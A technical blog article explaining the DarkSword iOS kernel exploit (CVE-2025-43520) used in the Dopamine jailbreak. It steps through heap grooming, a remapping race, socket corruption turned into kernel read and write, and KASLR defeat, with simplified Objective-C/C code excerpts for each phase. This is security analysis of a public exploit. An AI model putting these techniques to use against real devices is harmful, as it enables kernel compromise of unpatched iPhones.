How DarkSword Exploits the iOS Kernel (CVE-2025-43520)

Aug 21, 2026 • Jailbreak • Insidebinary Team
Table of contents

In modern iOS jailbreaking, achieving kernel read and write is the turning point. For iOS 18.4 to 18.6, one of the key public exploit paths is DarkSword (CVE-2025-43520).

This article looks at the DarkSword implementation used in the Dopamine jailbreak source tree, especially Application/Dopamine/Exploits/DarkSword/DarkSword.m. The goal here is not just to name the primitives, but to explain how the exploit chains them together: heap grooming, race timing, socket corruption, pointer traversal, and finally stable kernel read and write.

Phase 1: Heap Grooming

Modern XNU kernels rely on randomized heap behavior and size-segregated allocators. That means an exploit cannot just hope a vulnerable write lands next to the object it wants to corrupt. It has to shape the heap first.

In DarkSword, this setup happens inside routines such as pe_v1(). The exploit performs two important actions:

  1. It allocates large memory mappings filled with a known marker
  2. It sprays a large number of sockets into the kernel heap

The high-level idea looks like this:

NSMutableArray<NSNumber *> *searchMappings = [NSMutableArray new];
uint64_t searchMappingNum = 2;
mach_vm_size_t searchMappingSize = 0x1000000;
 
for (uint64_t s = 0; s < searchMappingNum; s++) {
    mach_vm_address_t searchMappingAddress = 0;
    kr = mach_vm_allocate(
        mach_task_self(),
        &searchMappingAddress,
        searchMappingSize,
        VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR
    );
 
    for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
        *(uint64_t *)(searchMappingAddress + k) = randomMarker;
    }
 
    [searchMappings addObject:@(searchMappingAddress)];
}
 
socketPorts = [NSMutableArray new];
socketPcbIds = [NSMutableArray new];
 
for (unsigned socketCount = 0; socketCount < (maxfiles - leeway); socketCount++) {
    mach_port_t port = spray_socket(socketPorts, socketPcbIds);
    if (port == -1) break;
}

The reason this matters is that the attacker wants the kernel heap to become predictable enough that an out-of-bounds read or write can eventually hit one of the sprayed socket structures.

Why the sprayed layout becomes useful

After enough spraying, the exploit selectively frees some sockets to create holes. The layout starts to resemble:

[Socket] [Hole] [Socket] [Hole]

This is where XNU’s zone allocator behavior becomes important:

  • allocations are grouped by object size
  • freed objects go back onto a free list
  • the exploit has already exhausted enough surrounding space that the next allocation is likely to reuse one of those holes

That means the attacker is not guessing randomly anymore. They are pushing the allocator toward a narrow set of outcomes where the vulnerable operation can affect an adjacent socket.

Phase 2: Finding the Corrupted Socket

Heap grooming alone is not enough. The exploit still needs to discover when one of its sprayed sockets has actually been hit.

DarkSword does this by repeatedly scanning the large user mappings it created earlier and attempting the vulnerable out-of-bounds operation page by page. In simplified form:

for (uint64_t s = 0; s < searchMappingNum; s++) {
    mach_make_memory_entry_64(... &memoryObject ...);
 
    while (seekingOffset <= searchMappingSize - pcSize) {
        kr = physical_oob_read_mo(memoryObject, seekingOffset, ...);
 
        if (kr == KERN_SUCCESS) {
            if (find_and_corrupt_socket(...) == KERN_SUCCESS) {
                success = true;
                break;
            }
        }
 
        seekingOffset += PAGE_SIZE;
    }
}

Conceptually, this acts like a blind scan across memory:

  1. trigger the OOB read
  2. inspect the leaked data
  3. search for markers that prove a sprayed socket was hit
  4. once confirmed, calculate the offset of the target socket
  5. use the paired OOB write to corrupt it

This is the point where a generic memory corruption starts turning into a controlled exploit primitive.

Phase 3: Winning the Race

The heart of DarkSword is a race around memory mapping and object lifetime. The exploit uses two threads:

  • a main thread that triggers file or memory related operations
  • a second thread that forcefully remaps the target region at exactly the wrong moment

The remapping side looks roughly like this:

void *free_thread(void *arg) {
    while (goSync != 0) {
        while (raceSync == 0);
 
        kern_return_t kr = mach_vm_map(
            mach_task_self(),
            (mach_vm_address_t *)&freeTarget,
            freeTargetSize,
            0,
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
            targetObject,
            ...
        );
 
        raceSync = 0;
    }
}

And the main trigger path repeatedly performs an operation like pwritev or preadv, then checks whether the resulting state indicates that the race was won.

Why this works

This is a classic time-of-check to time-of-use problem:

  1. the kernel validates a memory region
  2. execution pauses briefly
  3. the attacker swaps the underlying mapping
  4. the kernel resumes and operates on memory whose backing object has changed

The end result is an out-of-bounds access that lands in an adjacent object, which in DarkSword is one of the carefully prepared socket structures.

This race is unstable by nature, so the exploit repeats it many times until the exact sequence aligns. That is typical for modern kernel exploit development: the trigger is fragile, but the goal is to use it once to create a stable post-exploitation primitive.

Phase 4: Turning Socket Corruption into Kernel Read and Write

Once the exploit corrupts the right socket, it no longer wants to keep racing. Instead, it pivots into a stable interface built on ordinary socket APIs.

DarkSword uses two sockets:

  • a controlSocket
  • an rwSocket

The corrupted state allows the control path to influence where the read/write socket believes its filter data lives in kernel memory.

In simplified form:

void set_target_kaddr(uint64_t where) {
    *(uint64_t *)controlData = where;
    setsockopt(
        controlSocket,
        IPPROTO_ICMPV6,
        ICMP6_FILTER,
        controlData,
        EARLY_KRW_LENGTH
    );
}
 
void early_kreadbuf(uint64_t where, void *readBuf, size_t size) {
    while (size > 0) {
        size_t to_read = (size > EARLY_KRW_LENGTH) ? EARLY_KRW_LENGTH : size;
 
        set_target_kaddr(where);
 
        socklen_t optlen = (socklen_t)to_read;
        int res = getsockopt(
            rwSocket,
            IPPROTO_ICMPV6,
            ICMP6_FILTER,
            readBuf,
            &optlen
        );
 
        if (res != 0) {
            printf("[-] getsockopt failed!!!\n");
            FAILURE(0);
        }
 
        size -= to_read;
        where += to_read;
        readBuf = (char *)readBuf + to_read;
    }
}

What this means in practice

Under normal conditions, getsockopt reads socket-owned data. After corruption, the same API can be tricked into reading from an arbitrary kernel address because the internal pointer it trusts is no longer pointing at legitimate filter storage.

That turns a normal kernel networking path into an exploit primitive:

  • setsockopt helps choose the target address
  • getsockopt returns bytes from that address

The same general strategy can be adapted into write behavior as well.

This is one of the most important transitions in the exploit: moving from an unstable race bug to a stable, repeatable kernel read/write interface.

Phase 5: Defeating KASLR

Limited kernel read and write still is not enough if the exploit does not know where the kernel is mapped. Kernel Address Space Layout Randomization means important structures move around at boot.

DarkSword solves this by walking pointers upward from the corrupted socket state until it reaches a structure that reveals a known kernel text reference.

The process looks like this:

uint64_t pcbinfo_pointer =
    early_kread64(controlSocketPcb + koffsetof(inpcb, pcbinfo));
 
uint64_t ipi_zone =
    early_kread64(pcbinfo_pointer + koffsetof(inpcbinfo, ipi_zone));
 
uint64_t textPtr =
    early_kread64(ipi_zone + koffsetof(kalloc_type_view, kt_zv_zv_name));
 
kernel_base = textPtr & 0xFFFFFFFFFFFFC000;
 
if (early_kread64(kernel_base) == 0x100000cfeedfacf) {
    printf("[+] Kernel Base found at: %#llx\n", kernel_base);
}

At a high level, the exploit follows a pointer chain like:

corrupted socket
  -> inpcb
  -> inpcbinfo
  -> zone metadata
  -> kernel text reference
  -> kernel base

Once the value at the derived base matches the expected Mach-O header, the exploit has confirmed the kernel base and effectively defeated KASLR.

Phase 6: Stabilizing into Full Kernel R/W

After the kernel base is known, the early primitive can be wrapped into more robust helper APIs for arbitrary kernel read and write.

One limitation at this stage is that the underlying socket-based primitive often has a small per-call length limit, because it is still abusing an API that was never designed for arbitrary memory transfers.

The workaround is straightforward:

  • split large requests into smaller chunks
  • repeatedly retarget the socket pointer
  • read or write piece by piece

That is how DarkSword moves from a narrow primitive into practical exploit infrastructure that can support later jailbreak stages.

Where DarkSword Fits in the Jailbreak Chain

DarkSword is not the entire jailbreak. It solves the kernel read/write problem for the supported version range, but later stages still need to deal with additional protections and environment setup.

In a full jailbreak chain, the usual progression looks more like:

  1. gain an early kernel memory primitive
  2. locate the kernel and stabilize the primitive
  3. bypass later protection layers
  4. prepare the filesystem and bootstrap environment
  5. escape sandbox and complete userland setup

DarkSword covers the critical KRW stage in that sequence.

Conclusion

What makes DarkSword interesting is not just the vulnerability itself, but the exploit engineering around it. The implementation combines several ideas that show up repeatedly in modern kernel exploitation:

  • heap shaping to force useful adjacency
  • racing memory state changes at the right microsecond
  • converting a fragile bug into a stable socket-based primitive
  • walking kernel pointers to recover the KASLR slide

That is the real story behind the exploit. The bug opens the door, but the surrounding exploit logic is what turns it into a usable jailbreak component.

jailbreak
ios
kernel
exploit
darksword
cve-2025-43520
dopamine